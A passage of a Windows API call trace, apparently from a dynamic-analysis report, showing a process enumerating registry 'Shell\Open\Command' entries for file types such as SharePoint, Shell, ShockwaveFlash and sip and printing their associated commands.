hKey=0x4c, lpSubKey="SharePoint.DragUploadCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.722] SetLastError (dwErrCode=0x2) [0101.722] RegCloseKey (hKey=0x0) returned 0x6 [0101.722] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd15, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.DragUploadCtl.1") returned 0x0 [0101.722] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.DragUploadCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.722] SetLastError (dwErrCode=0x2) [0101.722] RegCloseKey (hKey=0x0) returned 0x6 [0101.722] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd16, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.ExportDatabase") returned 0x0 [0101.722] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.ExportDatabase\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.722] SetLastError (dwErrCode=0x2) [0101.722] RegCloseKey (hKey=0x0) returned 0x6 [0101.722] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd17, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OfflineClient") returned 0x0 [0101.722] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OfflineClient\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.722] SetLastError (dwErrCode=0x2) [0101.722] RegCloseKey (hKey=0x0) returned 0x6 [0101.722] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd18, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OpenDocuments") returned 0x0 [0101.722] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OpenDocuments\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.722] SetLastError (dwErrCode=0x2) [0101.722] RegCloseKey (hKey=0x0) returned 0x6 [0101.722] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd19, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OpenDocuments.1") returned 0x0 [0101.722] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OpenDocuments.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.722] SetLastError (dwErrCode=0x2) [0101.722] RegCloseKey (hKey=0x0) returned 0x6 [0101.722] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1a, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OpenDocuments.2") returned 0x0 [0101.723] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OpenDocuments.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.723] SetLastError (dwErrCode=0x2) [0101.723] RegCloseKey (hKey=0x0) returned 0x6 [0101.723] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1b, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OpenDocuments.3") returned 0x0 [0101.723] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OpenDocuments.3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.723] SetLastError (dwErrCode=0x2) [0101.723] RegCloseKey (hKey=0x0) returned 0x6 [0101.723] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1c, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OpenDocuments.4") returned 0x0 [0101.723] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OpenDocuments.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.723] SetLastError (dwErrCode=0x2) [0101.723] RegCloseKey (hKey=0x0) returned 0x6 [0101.723] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1d, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.OpenDocuments.5") returned 0x0 [0101.723] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.OpenDocuments.5\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.723] SetLastError (dwErrCode=0x2) [0101.723] RegCloseKey (hKey=0x0) returned 0x6 [0101.723] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1e, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.SpreadsheetLauncher") returned 0x0 [0101.723] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.SpreadsheetLauncher\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.723] SetLastError (dwErrCode=0x2) [0101.723] RegCloseKey (hKey=0x0) returned 0x6 [0101.723] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1f, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.SpreadsheetLauncher.1") returned 0x0 [0101.723] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.SpreadsheetLauncher.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.724] SetLastError (dwErrCode=0x2) [0101.724] RegCloseKey (hKey=0x0) returned 0x6 [0101.724] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd20, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.SpreadsheetLauncher.2") returned 0x0 [0101.724] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.SpreadsheetLauncher.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.724] SetLastError (dwErrCode=0x2) [0101.724] RegCloseKey (hKey=0x0) returned 0x6 [0101.724] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd21, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.StssyncHandler") returned 0x0 [0101.724] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.StssyncHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.724] SetLastError (dwErrCode=0x2) [0101.724] RegCloseKey (hKey=0x0) returned 0x6 [0101.724] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd22, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.StssyncHandler.2") returned 0x0 [0101.724] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.StssyncHandler.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.724] SetLastError (dwErrCode=0x2) [0101.724] RegCloseKey (hKey=0x0) returned 0x6 [0101.724] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd23, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePoint.StssyncHandler.3") returned 0x0 [0101.724] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePoint.StssyncHandler.3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.724] SetLastError (dwErrCode=0x2) [0101.724] RegCloseKey (hKey=0x0) returned 0x6 [0101.724] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd24, lpName=0x2eef50, cchName=0x104 | out: lpName="SharePointWorkspace.Application.2") returned 0x0 [0101.724] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SharePointWorkspace.Application.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.724] SetLastError (dwErrCode=0x2) [0101.724] RegCloseKey (hKey=0x0) returned 0x6 [0101.725] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd25, lpName=0x2eef50, cchName=0x104 | out: lpName="SHCmdFile") returned 0x0 [0101.725] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SHCmdFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.725] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x34) returned 0x0 [0101.725] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3cb0e0, lpcbData=0x2eef20*=0x34 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\explorer.exe", lpcbData=0x2eef20*=0x34) returned 0x0 [0101.725] RegCloseKey (hKey=0x64) returned 0x0 [0101.725] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="SHCmdFile=%SystemRoot%\\explorer.exe\r\n") returned 37 [0101.725] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.725] GetFileType (hFile=0x5c) returned 0x3 [0101.725] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 38 [0101.725] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x25, lpOverlapped=0x0) returned 1 [0101.727] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd26, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Application") returned 0x0 [0101.727] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Application\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.727] SetLastError (dwErrCode=0x2) [0101.727] RegCloseKey (hKey=0x0) returned 0x6 [0101.727] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd27, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Application.1") returned 0x0 [0101.727] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Application.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.727] SetLastError (dwErrCode=0x2) [0101.727] RegCloseKey (hKey=0x0) returned 0x6 [0101.727] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd28, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Autoplay") returned 0x0 [0101.727] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Autoplay\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd29, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Autoplay.1") returned 0x0 [0101.728] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Autoplay.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2a, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.CDBurn") returned 0x0 [0101.728] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.CDBurn\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2b, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Explorer") returned 0x0 [0101.728] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Explorer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2c, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Explorer.1") returned 0x0 [0101.728] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Explorer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2d, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.Explorer.2") returned 0x0 [0101.728] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.Explorer.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2e, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.FolderView") returned 0x0 [0101.728] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.FolderView\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.728] SetLastError (dwErrCode=0x2) [0101.728] RegCloseKey (hKey=0x0) returned 0x6 [0101.728] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2f, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.FolderView.1") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.FolderView.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd30, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.HWEventHandlerShellExecute") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.HWEventHandlerShellExecute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd31, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.HWEventHandlerShellExecute.1") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.HWEventHandlerShellExecute.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd32, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.UIHelper") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.UIHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd33, lpName=0x2eef50, cchName=0x104 | out: lpName="Shell.UIHelper.1") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Shell.UIHelper.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd34, lpName=0x2eef50, cchName=0x104 | out: lpName="ShellNameSpace.ShellNameSpace") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShellNameSpace.ShellNameSpace\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd35, lpName=0x2eef50, cchName=0x104 | out: lpName="ShellNameSpace.ShellNameSpace.1") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShellNameSpace.ShellNameSpace.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.729] SetLastError (dwErrCode=0x2) [0101.729] RegCloseKey (hKey=0x0) returned 0x6 [0101.729] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd36, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash") returned 0x0 [0101.729] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.730] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd37, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.1") returned 0x0 [0101.730] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.730] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd38, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.10") returned 0x0 [0101.730] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.10\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.730] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd39, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.11") returned 0x0 [0101.730] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.11\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.730] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3a, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.3") returned 0x0 [0101.730] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.730] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3b, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.4") returned 0x0 [0101.730] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.730] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3c, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.5") returned 0x0 [0101.730] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.5\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.730] SetLastError (dwErrCode=0x2) [0101.730] RegCloseKey (hKey=0x0) returned 0x6 [0101.731] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3d, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.6") returned 0x0 [0101.731] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.6\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.731] SetLastError (dwErrCode=0x2) [0101.731] RegCloseKey (hKey=0x0) returned 0x6 [0101.731] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3e, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.7") returned 0x0 [0101.731] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.7\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.731] SetLastError (dwErrCode=0x2) [0101.731] RegCloseKey (hKey=0x0) returned 0x6 [0101.731] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3f, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.8") returned 0x0 [0101.731] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.731] SetLastError (dwErrCode=0x2) [0101.731] RegCloseKey (hKey=0x0) returned 0x6 [0101.731] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd40, lpName=0x2eef50, cchName=0x104 | out: lpName="ShockwaveFlash.ShockwaveFlash.9") returned 0x0 [0101.731] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ShockwaveFlash.ShockwaveFlash.9\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.731] SetLastError (dwErrCode=0x2) [0101.731] RegCloseKey (hKey=0x0) returned 0x6 [0101.731] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd41, lpName=0x2eef50, cchName=0x104 | out: lpName="sip") returned 0x0 [0101.731] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="sip\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.731] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7c) returned 0x0 [0101.731] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7c | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"", lpcbData=0x2eef20*=0x7c) returned 0x0 [0101.731] RegCloseKey (hKey=0x64) returned 0x0 [0101.732] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 67 [0101.732] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.732] GetFileType (hFile=0x5c) returned 0x3 [0101.732] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sip=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68 [0101.732] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0101.732] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd42, lpName=0x2eef50, cchName=0x104 | out: lpName="sips") returned 0x0 [0101.732] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="sips\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.732] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7c) returned 0x0 [0101.732] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7c | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"", lpcbData=0x2eef20*=0x7c) returned 0x0 [0101.732] RegCloseKey (hKey=0x64) returned 0x0 [0101.732] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 68 [0101.732] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.732] GetFileType (hFile=0x5c) returned 0x3 [0101.732] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sips=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69 [0101.732] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x44, lpOverlapped=0x0) returned 1 [0101.732] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd43, lpName=0x2eef50, cchName=0x104 | out: lpName="SKBMonitor.KeyStrokeMonitor") returned 0x0 [0101.732] RegOpenKeyExW (in: hKey=0x4c, 